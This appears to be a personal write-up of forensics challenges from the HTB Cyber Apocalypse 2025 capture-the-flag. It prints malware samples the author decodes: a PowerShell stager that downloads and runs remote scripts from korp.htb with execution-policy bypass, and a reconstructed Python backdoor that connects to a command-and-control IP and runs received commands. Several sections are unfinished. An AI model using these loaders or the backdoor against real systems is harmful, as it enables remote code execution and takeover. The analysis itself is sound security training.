# HTB Cyber Apocalypse CTF 2025: Tales from Eldoria
## Thorin’s Amulet - Very Easy

This challenge give me a .ps1 file with the following content
<details>
<summary>Powershell</summary>
``` powershell
function qt4PO {
if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") {
exit
}
powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik="
}
qt4PO
# IEX (New-Object Net.WebClient).DownloadString("http://korp.htb/update")
```
</details>
The comment at the end is the string I decoded from the Base64 string in the code above. I got stuck here for quite a while because some network issues prevented me from opening the docker to replace the link above to get next payload. Although I joined this ctf quite early
<details>
<summary>Powershell</summary>
```powershell
function aqFVaq {
Invoke-WebRequest -Uri "http://korp.htb/a541a" -Headers @{"X-ST4G3R-KEY"="5337d322906ff18afedc1edc191d325d"} -Method GET -OutFile a541a.ps1
powershell.exe -exec Bypass -File "a541a.ps1"
}
aqFVaq
```
</details>
Let write a simple script by Python to make a same request for get this file (or just delete exec line 🤡)
<details>
<summary>Python</summary>
```python
import requests
def make_request(options):
url = f"http://{options['hostname']}{options['path']}"
response = requests.request(
method=options['method'],
url=url,
headers=options.get('headers', {}),
data=options.get('body', None)
)
return {
'statusCode': response.status_code,
'headers': dict(response.headers),
'body': response.text
}
# Example usage
def main():
try:
response = make_request({
'hostname': '83.136.250.101:50730',
'path': '/a541a',
'method': 'GET',
'headers': {
'X-ST4G3R-KEY': '5337d322906ff18afedc1edc191d325d'
}
})
print('Body:', response['body'])
except Exception as error:
print('Error:', str(error))
if __name__ == "__main__":
main()
```
</details>
Alright we have a next payload here. At first glance we see that we just need to change the exec function to echo and powershell will do the rest for us.
``` powershell
$a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d"
echo (($a35-split"(..)"|?{$_}|%{[char][convert]::ToInt16($_,16)}) -join "")
```

Fact: In the midnight, when I was so helpless with ISP, my brother still sent me pictures of his wife and advised me to skip school to do ctf 💀
## Slient Trap - Easy

We have a pcap file, use WireShark to analyse it or you can open YouTube, it can't help you solve this challenge but watching video is ok

**Q1: What is the subject of the first email that the victim opened and replied to?**

**Q2: On what date and time was the suspicious email sent? (Format: YYYY-MM-DD_HH:MM) (for example: 1945-04-30_12:34)**




**Q4: What credentials were used to log into the attacker's mailbox? (Format: username:password)**

Just dump when you see a lot of http packet 🫣

Locked archive?
John? Nah, you can run but maybe by the time rockyou2077 exists it will probably work. Look around these packet you will see password


**Q3: What is the MD5 hash of the malware file?**


After going through all the functions, I noticed the following 3 sus functions

At the xor function, we found the key

At the Encrypt function, this performs RC4 encryption.

Based on what we found, the program performed Base64 and RC4 encoding before sending something. Below is the script to decode the packets sent that Wireshark captured.
``` python
import base64
from Crypto.Cipher import ARC4
key = bytes([
168, 115, 174, 213, 168, 222, 72, 36, 91, 209,
242, 128, 69, 99, 195, 164, 238, 182, 67, 92,
7, 121, 164, 86, 121, 10, 93, 4, 140, 111,
248, 44, 30, 94, 48, 54, 45, 100, 184, 54,
28, 82, 201, 188, 203, 150, 123, 163, 229, 138,
177, 51, 164, 232, 86, 154, 179, 143, 144, 22,
134, 12, 40, 243, 55, 2, 73, 103, 99, 243,
236, 119, 9, 120, 247, 25, 132, 137, 67, 66,
111, 240, 108, 86, 85, 63, 44, 49, 241, 6,
3, 170, 131, 150, 53, 49, 126, 72, 60, 36,
144, 248, 55, 10, 241, 208, 163, 217, 49, 154,
206, 227, 25, 99, 18, 144, 134, 169, 237, 100,
117, 22, 11, 150, 157, 230, 173, 38, 72, 99,
129, 30, 220, 112, 226, 56, 16, 114, 133, 22,
96, 1, 90, 72, 162, 38, 143, 186, 35, 142,
128, 234, 196, 239, 134, 178, 205, 229, 121, 225,
246, 232, 205, 236, 254, 152, 145, 98, 126, 29,
217, 74, 177, 142, 19, 190, 182, 151, 233, 157,
76, 74, 104, 155, 79, 115, 5, 18, 204, 65,
254, 204, 118, 71, 92, 33, 58, 112, 206, 151,
103, 179, 24, 164, 219, 98, 81, 6, 241, 100,
228, 190, 96, 140, 128, 1, 161, 246, 236, 25,
62, 100, 87, 145, 185, 45, 61, 143, 52, 8,
227, 32, 233, 37, 183, 101, 89, 24, 125, 203,
227, 9, 146, 156, 208, 206, 194, 134, 194, 23,
233, 100, 38, 158, 58, 159
])
def decrypt_base64_rc4(encoded_str, key):
decoded_data = base64.b64decode(encoded_str)
cipher = ARC4.new(key)
decrypted_data = cipher.decrypt(decoded_data)
return decrypted_data
encoded_str = "VGiPTdHXQGP876EbMX2FJhm3ZazpvA8aO8jT1uC8xPhDZq/Np5oZQnHUpKxc36FHBznusaFRsSPtnJzlC4qyGNxcWMCIs1qdVzygFbDj0se4vntsvpU9rKvQPLcPERIjLB36+ws5PVmzVsnuxNmgUPegSj+VPrRfrcHkaE0VL2hOwFIfT8iFNsaVDmnmTwc4DwNxqVqvTfOSr5YCFzLYZhlGMKbBYwhRks/IUuS31pSyoY02zA2T/8MtRORCihusuiBB6lfwkOSDyvxAAS2eTNoqirpJX4oJpFo3HRzFiGt7Tf/hYDvgs4HhXNNUHiBTgR/ckAwJHX0PoBDbTYvxQCtWNytjzQFjF8ir6ihZqFEEUibY3Enkx73tO7zgG5MDXHNRxF6dk7NdM6hcR3RNywIGvr09k/HumgOhs6MgvrHuNauqVWR5t0N52Pf21A6gTNGVtkRfBdnH/vMwOY7egIIxRNR7BlDnaeBlOfmE4aPu5C7BjLhQkwQUcC2mtMa0Sy7vtm+oqIn5po/BFqKsfdreOrYrX3XZ+98F1KC+RVKLPH9pBKd0kH9jHbAMY19YPKl5dok4ls491gXmpv+tb9aPq6PAPkHtAj0ftml7fg=="
decrypted_data = decrypt_base64_rc4(encoded_str, key)
print(decrypted_data)
```
**Q5: What is the name of the task scheduled by the attacker?**

**Q6: What is the API key leaked from the highly valuable file discovered by the attacker?**

W bquaman

# After-contest
## Stealth Invasion - Easy

**Q1: What is the PID of the Original (First) Google Chrome process**
``` ps
vol.py -f '/home/kali/Desktop/memdump.elf' windows.pslist
```

**Q2: What is the only Folder on the Desktop**
``` ps
vol.py -f '/home/kali/Desktop/memdump.elf' windows.filescan | grep "Desktop"
```

**Q3: What is the Extention's ID (ex: hlkenndednhfkekhgcdicdfddnkalmdm)**
``` ps
vol.py -f '/home/kali/Desktop/memdump.elf' windows.filescan | rg -Fi "\\Default\\Local Extension Settings\\"
```

**Q4: After examining the malicious extention's code, what is the log filename in which the data is stored**

**Q5: What is the URL the user navigated to**

**Q6: What is the password of selene@rangers.eldoria.com**

## Cave Expedition - Medium







## ToolPie - Medium

**Q1: What is the IP address responsible for compromising the website?**

**Q2: What is the name of the endpoint exploited by the attacker?**

**Q3: What is the name of the obfuscation tool used by the attacker**

```python
import bz2
import marshal
decompressed_data = bz2.decompress(
b'BZh91AY&SY\x8d*w\x00\x00\n\xbb\x7f\xff\xff\xff\xff\xff...'
)
code_object = marshal.loads(decompressed_data)
print(code_object.co_consts)
```

``` python
import bz2
import dis
compressed_data = b'''BZh91AY&SY\x8d*w\x00\x00\n\xbb\x7f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf...'''
code = bz2.decompress(compressed_data)
# print(code)
open('dis.txt','w').write(dis.dis(code))
```

<details>
<summary>Python</summary>
``` python
import os
import socket
import threading
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
def enc_mes(message, key):
"""Encrypt message using AES"""
cipher = AES.new(key, AES.MODE_CBC)
iv = cipher.iv
encrypted = cipher.encrypt(pad(message.encode(), 16))
return iv + encrypted
def dec_file_mes(encrypted_data, key):
"""Decrypt file message"""
iv = encrypted_data[:16]
encrypted = encrypted_data[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(encrypted), 16)
return decrypted
def dec_mes(encrypted_data, key):
"""Decrypt message"""
iv = encrypted_data[:16]
encrypted = encrypted_data[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(encrypted), 16)
return decrypted.decode()
def receive_file(conn, key):
"""Receive and decrypt file"""
try:
# Receive file data
file_data = b""
while True:
chunk = conn.recv(4096)
if b"<SEPARATOR>" in chunk:
file_data += chunk.split(b"<SEPARATOR>")[0]
break
file_data += chunk
# Decrypt file
decrypted_file = dec_file_mes(file_data, key)
return decrypted_file
except Exception as e:
return None
def receive(conn, key):
"""Main receive function"""
try:
while True:
# Receive command
data = conn.recv(4096)
if not data:
break
# Decrypt command
command = dec_mes(data, key)
if command == "whoami":
# Execute whoami command
result = os.popen("whoami").read()
encrypted_result = enc_mes(result, key)
conn.send(encrypted_result)
# Handle other commands...
except Exception as e:
conn.close()
def main():
"""Main function"""
# Server configuration
HOST = "13.61.7.218"
PORT = 55155
# Connect to C&C server
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
# Generate or receive encryption key
key = b"your_16_byte_key" # This would be dynamically generated
# Start receiving commands
receive_thread = threading.Thread(target=receive, args=(sock, key))
receive_thread.start()
except Exception as e:
pass
if __name__ == "__main__":
main()
```
</details>
<!-- ## Tales for the Brave - Hard

Resolving...
-->